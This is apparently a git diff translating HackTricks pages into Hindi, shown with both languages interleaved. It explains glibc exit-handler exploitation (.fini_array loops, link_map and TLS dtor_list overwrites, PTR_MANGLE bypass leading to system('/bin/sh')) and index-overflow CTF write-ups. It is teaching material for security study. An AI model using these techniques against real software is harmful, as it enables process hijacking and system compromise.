Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one.
|
||||
#### अनंत लूप
|
||||
|
||||
#### Eternal loop
|
||||
**`.fini_array`** का दुरुपयोग करने के लिए अनंत लूप प्राप्त करने के लिए आप [**यहाँ क्या किया गया था**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** यदि आपके पास **`.fini_array`** में कम से कम 2 प्रविष्टियाँ हैं, तो आप:
|
||||
|
||||
In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can:
|
||||
|
||||
- Use your first write to **call the vulnerable arbitrary write function** again
|
||||
- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`**
|
||||
- This will make **`__libc_csu_fini`** call himself again executing the **`.fini_array`** functions again which will call the vulnerable WWW function 2 times: one for **arbitrary write** and another one to overwrite again the **return address of `__libc_csu_fini`** on the stack to call itself again.
|
||||
- अपने पहले लिखने का उपयोग करें **कमजोर अनियंत्रित लिखने वाले फ़ंक्शन** को फिर से कॉल करने के लिए
|
||||
- फिर, **`__libc_csu_fini`** द्वारा स्टैक में संग्रहीत लौटने के पते की गणना करें (वह फ़ंक्शन जो सभी `.fini_array` फ़ंक्शंस को कॉल कर रहा है) और वहाँ **`__libc_csu_fini`** का **पता** डालें
|
||||
- इससे **`__libc_csu_fini`** फिर से खुद को कॉल करेगा, **`.fini_array`** फ़ंक्शंस को फिर से निष्पादित करेगा, जो कमजोर WWW फ़ंक्शन को 2 बार कॉल करेगा: एक बार **अनियंत्रित लिखने** के लिए और एक बार फिर से स्टैक पर **`__libc_csu_fini`** के लौटने के पते को ओवरराइट करने के लिए ताकि यह फिर से खुद को कॉल कर सके।
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**.
|
||||
> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also.
|
||||
> ध्यान दें कि [**पूर्ण RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** अनुभाग **`.fini_array`** को **पढ़ने के लिए केवल** बनाया गया है।
|
||||
> नए संस्करणों में, [**आंशिक RELRO**] के साथ भी अनुभाग **`.fini_array`** को **पढ़ने के लिए केवल** बनाया गया है।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -5,35 +5,34 @@
|
||||
## **\_\_atexit Structures**
|
||||
|
||||
> [!CAUTION]
|
||||
> Nowadays is very **weird to exploit this!**
|
||||
> आजकल इसे **शोषण करना बहुत अजीब है!**
|
||||
|
||||
**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\
|
||||
If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\
|
||||
Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\
|
||||
The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector.
|
||||
**`atexit()`** एक फ़ंक्शन है जिसमें **अन्य फ़ंक्शनों** को पैरामीटर के रूप में पास किया जाता है। ये **फ़ंक्शन** तब **निष्पादित** होंगे जब **`exit()`** या **main** का **रिटर्न** किया जाएगा।\
|
||||
यदि आप इन **फ़ंक्शनों** में से किसी के **पते** को एक शेलकोड की ओर **संशोधित** कर सकते हैं, तो आप **प्रक्रिया** पर **नियंत्रण** प्राप्त कर लेंगे, लेकिन यह वर्तमान में अधिक जटिल है।\
|
||||
वर्तमान में निष्पादित होने वाले **फ़ंक्शनों के पते** कई संरचनाओं के पीछे **छिपे** हुए हैं और अंततः जिस पते की ओर यह इशारा करते हैं, वे फ़ंक्शनों के पते नहीं हैं, बल्कि **XOR** और एक **यादृच्छिक कुंजी** के साथ विस्थापनों के साथ **एन्क्रिप्टेड** हैं। इसलिए वर्तमान में यह हमले का वेक्टर **कम से कम x86** और **x64_86** पर **बहुत उपयोगी नहीं है**।\
|
||||
**एन्क्रिप्शन फ़ंक्शन** **`PTR_MANGLE`** है। **अन्य आर्किटेक्चर** जैसे m68k, mips32, mips64, aarch64, arm, hppa... **एन्क्रिप्शन** फ़ंक्शन को **क्रियान्वित नहीं करते** क्योंकि यह **वही** लौटाता है जो इसे इनपुट के रूप में मिला। इसलिए ये आर्किटेक्चर इस वेक्टर द्वारा हमले के लिए **संवेदनशील होंगे**।
|
||||
|
||||
You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
|
||||
आप इस पर गहन व्याख्या [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) पर पा सकते हैं।
|
||||
|
||||
## link_map
|
||||
|
||||
As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors.
|
||||
जैसा कि [**इस पोस्ट में**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure) समझाया गया है, यदि प्रोग्राम `return` या `exit()` का उपयोग करके समाप्त होता है, तो यह `__run_exit_handlers()` को चलाएगा जो पंजीकृत डेस्ट्रक्टर्स को कॉल करेगा।
|
||||
|
||||
> [!CAUTION]
|
||||
> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it.
|
||||
|
||||
The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
|
||||
> यदि प्रोग्राम **`_exit()`** फ़ंक्शन के माध्यम से समाप्त होता है, तो यह **`exit` syscall** को कॉल करेगा और निकासी हैंडलर निष्पादित नहीं होंगे। इसलिए, यह पुष्टि करने के लिए कि `__run_exit_handlers()` निष्पादित होता है, आप उस पर एक ब्रेकपॉइंट सेट कर सकते हैं।
|
||||
|
||||
महत्वपूर्ण कोड है ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
|
||||
```c
|
||||
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
|
||||
if (fini_array != NULL)
|
||||
{
|
||||
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
|
||||
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
|
||||
{
|
||||
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
|
||||
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
|
||||
|
||||
while (sz-- > 0)
|
||||
((fini_t) array[sz]) ();
|
||||
}
|
||||
[...]
|
||||
while (sz-- > 0)
|
||||
((fini_t) array[sz]) ();
|
||||
}
|
||||
[...]
|
||||
|
||||
|
||||
|
||||
@ -41,198 +40,187 @@ if (fini_array != NULL)
|
||||
// This is the d_un structure
|
||||
ptype l->l_info[DT_FINI_ARRAY]->d_un
|
||||
type = union {
|
||||
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
|
||||
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
|
||||
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
|
||||
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
|
||||
}
|
||||
```
|
||||
ध्यान दें कि `map -> l_addr + fini_array -> d_un.d_ptr` का उपयोग **स्थान** की **गणना** करने के लिए किया जाता है **कार्यक्रमों की सूची को कॉल करने के लिए**।
|
||||
|
||||
Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**.
|
||||
कुछ **विकल्प** हैं:
|
||||
|
||||
There are a **couple of options**:
|
||||
|
||||
- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code
|
||||
- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled. 
|
||||
- [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array.
|
||||
- According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example.
|
||||
|
||||
Following the previous code you can find another interesting section with the code:
|
||||
- `map->l_addr` के मान को ओवरराइट करें ताकि यह एक **नकली `fini_array`** की ओर इंगित करे जिसमें मनमाने कोड को निष्पादित करने के लिए निर्देश हों।
|
||||
- `l_info[DT_FINI_ARRAY]` और `l_info[DT_FINI_ARRAYSZ]` प्रविष्टियों को ओवरराइट करें (जो मेमोरी में अधिक या कम लगातार होते हैं), ताकि वे **एक जाली `Elf64_Dyn`** संरचना की ओर इंगित करें जो फिर से **`array` को एक मेमोरी** क्षेत्र की ओर इंगित करेगा जिसे हमलावर ने नियंत्रित किया था। 
|
||||
- [**यह लेख**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) `l_info[DT_FINI_ARRAY]` को `.bss` में नियंत्रित मेमोरी के पते के साथ ओवरराइट करता है जिसमें एक नकली `fini_array` है। यह नकली सूची **पहले एक** [**एक गेजेट**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **पता** शामिल करती है जिसे निष्पादित किया जाएगा और फिर **इस** **नकली सूची** के पते और `map->l_addr` के **मान** के बीच का **अंतर** ताकि `*array` नकली सूची की ओर इंगित करे।
|
||||
- इस तकनीक के मुख्य पोस्ट के अनुसार और [**यह लेख**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so एक पॉइंटर को स्टैक पर छोड़ता है जो ld.so में बाइनरी `link_map` की ओर इंगित करता है। एक मनमाने लेखन के साथ इसे ओवरराइट करना संभव है और इसे एक नकली `fini_array` की ओर इंगित करने के लिए बनाना संभव है जिसे हमलावर ने नियंत्रित किया है जिसमें एक [**एक गेजेट**](../rop-return-oriented-programing/ret2lib/one-gadget.md) का पता हो, उदाहरण के लिए।
|
||||
|
||||
पिछले कोड के बाद आप कोड के साथ एक और दिलचस्प अनुभाग पा सकते हैं:
|
||||
```c
|
||||
/* Next try the old-style destructor. */
|
||||
ElfW(Dyn) *fini = map->l_info[DT_FINI];
|
||||
if (fini != NULL)
|
||||
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
|
||||
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
|
||||
}
|
||||
```
|
||||
इस मामले में `map->l_info[DT_FINI]` के मान को एक जाली `ElfW(Dyn)` संरचना की ओर इंगित करते हुए ओवरराइट करना संभव होगा। [**यहां अधिक जानकारी प्राप्त करें**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure)।
|
||||
|
||||
In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
|
||||
## TLS-Storage dtor_list ओवरराइट करना **`__run_exit_handlers`** में
|
||||
|
||||
## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`**
|
||||
|
||||
As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered.
|
||||
|
||||
Code from `_run_exit_handlers()`:
|
||||
जैसा कि [**यहां समझाया गया है**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), यदि कोई प्रोग्राम `return` या `exit()` के माध्यम से समाप्त होता है, तो यह **`__run_exit_handlers()`** को निष्पादित करेगा जो किसी भी पंजीकृत डेस्ट्रक्टर फ़ंक्शन को कॉल करेगा।
|
||||
|
||||
`_run_exit_handlers()` से कोड:
|
||||
```c
|
||||
/* Call all functions registered with `atexit' and `on_exit',
|
||||
in the reverse of the order in which they were registered
|
||||
perform stdio cleanup, and terminate program execution with STATUS. */
|
||||
in the reverse of the order in which they were registered
|
||||
perform stdio cleanup, and terminate program execution with STATUS. */
|
||||
void
|
||||
attribute_hidden
|
||||
__run_exit_handlers (int status, struct exit_function_list **listp,
|
||||
bool run_list_atexit, bool run_dtors)
|
||||
bool run_list_atexit, bool run_dtors)
|
||||
{
|
||||
/* First, call the TLS destructors. */
|
||||
/* First, call the TLS destructors. */
|
||||
#ifndef SHARED
|
||||
if (&__call_tls_dtors != NULL)
|
||||
if (&__call_tls_dtors != NULL)
|
||||
#endif
|
||||
if (run_dtors)
|
||||
__call_tls_dtors ();
|
||||
if (run_dtors)
|
||||
__call_tls_dtors ();
|
||||
```
|
||||
|
||||
Code from **`__call_tls_dtors()`**:
|
||||
|
||||
**`__call_tls_dtors()`** का कोड:
|
||||
```c
|
||||
typedef void (*dtor_func) (void *);
|
||||
struct dtor_list //struct added
|
||||
{
|
||||
dtor_func func;
|
||||
void *obj;
|
||||
struct link_map *map;
|
||||
struct dtor_list *next;
|
||||
dtor_func func;
|
||||
void *obj;
|
||||
struct link_map *map;
|
||||
struct dtor_list *next;
|
||||
};
|
||||
|
||||
[...]
|
||||
/* Call the destructors. This is called either when a thread returns from the
|
||||
initial function or when the process exits via the exit function. */
|
||||
initial function or when the process exits via the exit function. */
|
||||
void
|
||||
__call_tls_dtors (void)
|
||||
{
|
||||
while (tls_dtor_list) // parse the dtor_list chained structures
|
||||
{
|
||||
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
|
||||
dtor_func func = cur->func;
|
||||
PTR_DEMANGLE (func); // demangle the function ptr
|
||||
while (tls_dtor_list) // parse the dtor_list chained structures
|
||||
{
|
||||
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
|
||||
dtor_func func = cur->func;
|
||||
PTR_DEMANGLE (func); // demangle the function ptr
|
||||
|
||||
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
|
||||
func (cur->obj);
|
||||
[...]
|
||||
}
|
||||
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
|
||||
func (cur->obj);
|
||||
[...]
|
||||
}
|
||||
}
|
||||
```
|
||||
प्रत्येक पंजीकृत फ़ंक्शन के लिए **`tls_dtor_list`**, यह **`cur->func`** से पॉइंटर को डिमैंगल करेगा और इसे **`cur->obj`** के साथ कॉल करेगा।
|
||||
|
||||
For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**.
|
||||
|
||||
Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\
|
||||
Overwriting the PTR_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** by setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, by writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.**
|
||||
|
||||
Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits:
|
||||
इस [**GEF के फोर्क**](https://github.com/bata24/gef) से **`tls`** फ़ंक्शन का उपयोग करते हुए, यह देखना संभव है कि वास्तव में **`dtor_list`** **stack canary** और **PTR_MANGLE cookie** के बहुत **करीब** है। इसलिए, इसके ओवरफ्लो के साथ **cookie** और **stack canary** को **overwrite** करना संभव होगा।\
|
||||
PTR_MANGLE cookie को ओवरराइट करने पर, **`PTR_DEMANLE` फ़ंक्शन** को 0x00 पर सेट करके **bypass** करना संभव होगा, जिसका अर्थ है कि वास्तविक पते को प्राप्त करने के लिए उपयोग किया गया **`xor`** केवल कॉन्फ़िगर किया गया पता है। फिर, **`dtor_list`** पर लिखकर, यह संभव है कि **कई फ़ंक्शंस** को फ़ंक्शन **पते** और इसके **आर्गुमेंट** के साथ **चेन** किया जा सके।
|
||||
|
||||
अंत में ध्यान दें कि संग्रहीत पॉइंटर केवल cookie के साथ xored नहीं होगा बल्कि 17 बिट्स भी घुमाया जाएगा:
|
||||
```armasm
|
||||
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
|
||||
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
|
||||
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
|
||||
```
|
||||
इस नए पते को जोड़ने से पहले आपको इसे ध्यान में रखना चाहिए।
|
||||
|
||||
So you need to take this into account before adding a new address.
|
||||
[**मूल पोस्ट**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) में एक उदाहरण खोजें।
|
||||
|
||||
Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite).
|
||||
## अन्य मंगले हुए पॉइंटर्स **`__run_exit_handlers`** में
|
||||
|
||||
## Other mangled pointers in **`__run_exit_handlers`**
|
||||
|
||||
This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called.
|
||||
|
||||
Let's check more code of this function:
|
||||
यह तकनीक [**यहां समझाई गई है**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) और फिर से इस पर निर्भर करती है कि प्रोग्राम **`return` या `exit()`** कॉल करके समाप्त हो रहा है ताकि **`__run_exit_handlers()`** को कॉल किया जा सके।
|
||||
|
||||
आइए इस फ़ंक्शन का अधिक कोड देखें:
|
||||
```c
|
||||
while (true)
|
||||
{
|
||||
struct exit_function_list *cur;
|
||||
while (true)
|
||||
{
|
||||
struct exit_function_list *cur;
|
||||
|
||||
restart:
|
||||
cur = *listp;
|
||||
restart:
|
||||
cur = *listp;
|
||||
|
||||
if (cur == NULL)
|
||||
{
|
||||
/* Exit processing complete. We will not allow any more
|
||||
atexit/on_exit registrations. */
|
||||
__exit_funcs_done = true;
|
||||
break;
|
||||
}
|
||||
if (cur == NULL)
|
||||
{
|
||||
/* Exit processing complete. We will not allow any more
|
||||
atexit/on_exit registrations. */
|
||||
__exit_funcs_done = true;
|
||||
break;
|
||||
}
|
||||
|
||||
while (cur->idx > 0)
|
||||
{
|
||||
struct exit_function *const f = &cur->fns[--cur->idx];
|
||||
const uint64_t new_exitfn_called = __new_exitfn_called;
|
||||
while (cur->idx > 0)
|
||||
{
|
||||
struct exit_function *const f = &cur->fns[--cur->idx];
|
||||
const uint64_t new_exitfn_called = __new_exitfn_called;
|
||||
|
||||
switch (f->flavor)
|
||||
{
|
||||
void (*atfct) (void);
|
||||
void (*onfct) (int status, void *arg);
|
||||
void (*cxafct) (void *arg, int status);
|
||||
void *arg;
|
||||
switch (f->flavor)
|
||||
{
|
||||
void (*atfct) (void);
|
||||
void (*onfct) (int status, void *arg);
|
||||
void (*cxafct) (void *arg, int status);
|
||||
void *arg;
|
||||
|
||||
case ef_free:
|
||||
case ef_us:
|
||||
break;
|
||||
case ef_on:
|
||||
onfct = f->func.on.fn;
|
||||
arg = f->func.on.arg;
|
||||
PTR_DEMANGLE (onfct);
|
||||
case ef_free:
|
||||
case ef_us:
|
||||
break;
|
||||
case ef_on:
|
||||
onfct = f->func.on.fn;
|
||||
arg = f->func.on.arg;
|
||||
PTR_DEMANGLE (onfct);
|
||||
|
||||
/* Unlock the list while we call a foreign function. */
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
onfct (status, arg);
|
||||
__libc_lock_lock (__exit_funcs_lock);
|
||||
break;
|
||||
case ef_at:
|
||||
atfct = f->func.at;
|
||||
PTR_DEMANGLE (atfct);
|
||||
/* Unlock the list while we call a foreign function. */
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
onfct (status, arg);
|
||||
__libc_lock_lock (__exit_funcs_lock);
|
||||
break;
|
||||
case ef_at:
|
||||
atfct = f->func.at;
|
||||
PTR_DEMANGLE (atfct);
|
||||
|
||||
/* Unlock the list while we call a foreign function. */
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
atfct ();
|
||||
__libc_lock_lock (__exit_funcs_lock);
|
||||
break;
|
||||
case ef_cxa:
|
||||
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
|
||||
we must mark this function as ef_free. */
|
||||
f->flavor = ef_free;
|
||||
cxafct = f->func.cxa.fn;
|
||||
arg = f->func.cxa.arg;
|
||||
PTR_DEMANGLE (cxafct);
|
||||
/* Unlock the list while we call a foreign function. */
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
atfct ();
|
||||
__libc_lock_lock (__exit_funcs_lock);
|
||||
break;
|
||||
case ef_cxa:
|
||||
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
|
||||
we must mark this function as ef_free. */
|
||||
f->flavor = ef_free;
|
||||
cxafct = f->func.cxa.fn;
|
||||
arg = f->func.cxa.arg;
|
||||
PTR_DEMANGLE (cxafct);
|
||||
|
||||
/* Unlock the list while we call a foreign function. */
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
cxafct (arg, status);
|
||||
__libc_lock_lock (__exit_funcs_lock);
|
||||
break;
|
||||
}
|
||||
/* Unlock the list while we call a foreign function. */
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
cxafct (arg, status);
|
||||
__libc_lock_lock (__exit_funcs_lock);
|
||||
break;
|
||||
}
|
||||
|
||||
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
|
||||
/* The last exit function, or another thread, has registered
|
||||
more exit functions. Start the loop over. */
|
||||
goto restart;
|
||||
}
|
||||
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
|
||||
/* The last exit function, or another thread, has registered
|
||||
more exit functions. Start the loop over. */
|
||||
goto restart;
|
||||
}
|
||||
|
||||
*listp = cur->next;
|
||||
if (*listp != NULL)
|
||||
/* Don't free the last element in the chain, this is the statically
|
||||
allocate element. */
|
||||
free (cur);
|
||||
}
|
||||
*listp = cur->next;
|
||||
if (*listp != NULL)
|
||||
/* Don't free the last element in the chain, this is the statically
|
||||
allocate element. */
|
||||
free (cur);
|
||||
}
|
||||
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
```
|
||||
चर `f` **`initial`** संरचना की ओर इशारा करता है और `f->flavor` के मान के आधार पर विभिन्न कार्यों को कॉल किया जाएगा।\
|
||||
मान के आधार पर, कॉल करने के लिए कार्य का पता एक अलग स्थान पर होगा, लेकिन यह हमेशा **demangled** होगा।
|
||||
|
||||
The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\
|
||||
Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**.
|
||||
इसके अलावा, विकल्प **`ef_on`** और **`ef_cxa`** में एक **argument** को नियंत्रित करना भी संभव है।
|
||||
|
||||
Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**.
|
||||
आप **`initial` संरचना** को GEF के साथ डिबगिंग सत्र में **`gef> p initial`** के साथ जांच सकते हैं।
|
||||
|
||||
It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**.
|
||||
|
||||
To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\
|
||||
You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
|
||||
इसका दुरुपयोग करने के लिए, आपको या तो **leak या `PTR_MANGLE`cookie** को मिटाना होगा और फिर `system('/bin/sh')` के साथ `initial` में एक `cxa` प्रविष्टि को ओवरराइट करना होगा।\
|
||||
आप इस तकनीक के बारे में [**मूल ब्लॉग पोस्ट**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure) में इसका एक उदाहरण पा सकते हैं।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,15 +4,15 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
This category includes all vulnerabilities that occur because it is possible to overwrite certain data through errors in the handling of indexes in arrays. It's a very wide category with no specific methodology as the exploitation mechanism relays completely on the conditions of the vulnerability.
|
||||
यह श्रेणी सभी कमजोरियों को शामिल करती है जो इस कारण होती हैं कि यह संभव है कि कुछ डेटा को एरे में अनुक्रमांक के प्रबंधन में त्रुटियों के माध्यम से ओवरराइट किया जा सके। यह एक बहुत व्यापक श्रेणी है जिसमें कोई विशिष्ट कार्यप्रणाली नहीं है क्योंकि शोषण तंत्र पूरी तरह से कमजोरी की स्थितियों पर निर्भर करता है।
|
||||
|
||||
However he you can find some nice **examples**:
|
||||
हालांकि, आप कुछ अच्छे **उदाहरण** पा सकते हैं:
|
||||
|
||||
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
|
||||
- There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`.
|
||||
- वहाँ **2 टकराते हुए एरे** हैं, एक **पते** के लिए जहाँ डेटा संग्रहीत है और एक उस डेटा के **आकारों** के साथ। एक को दूसरे से ओवरराइट करना संभव है, जिससे एक मनमाना पता लिखना संभव हो जाता है जो इसे आकार के रूप में इंगित करता है। यह GOT तालिका में `free` फ़ंक्शन का पता लिखने की अनुमति देता है और फिर इसे `system` के पते से ओवरराइट करता है, और `/bin/sh` के साथ मेमोरी से free को कॉल करता है।
|
||||
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
|
||||
- 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there.
|
||||
- 64 बिट, कोई nx नहीं। एक आकार को ओवरराइट करें ताकि एक प्रकार का बफर ओवरफ्लो प्राप्त हो जहाँ हर चीज़ को एक डबल संख्या के रूप में उपयोग किया जाएगा और सबसे छोटे से सबसे बड़े तक क्रमबद्ध किया जाएगा, इसलिए एक शेलकोड बनाना आवश्यक है जो उस आवश्यकता को पूरा करे, यह ध्यान में रखते हुए कि कैनरी को अपनी स्थिति से नहीं हिलाया जाना चाहिए और अंततः RIP को एक पता के साथ ओवरराइट करना चाहिए जो ret के लिए है, जो पिछले आवश्यकताओं को पूरा करता है और सबसे बड़े पते को एक नए पते की ओर इंगित करता है जो स्टैक की शुरुआत की ओर है (जो प्रोग्राम द्वारा लीक किया गया है) ताकि ret का उपयोग वहाँ कूदने के लिए किया जा सके।
|
||||
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
|
||||
- 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used.
|
||||
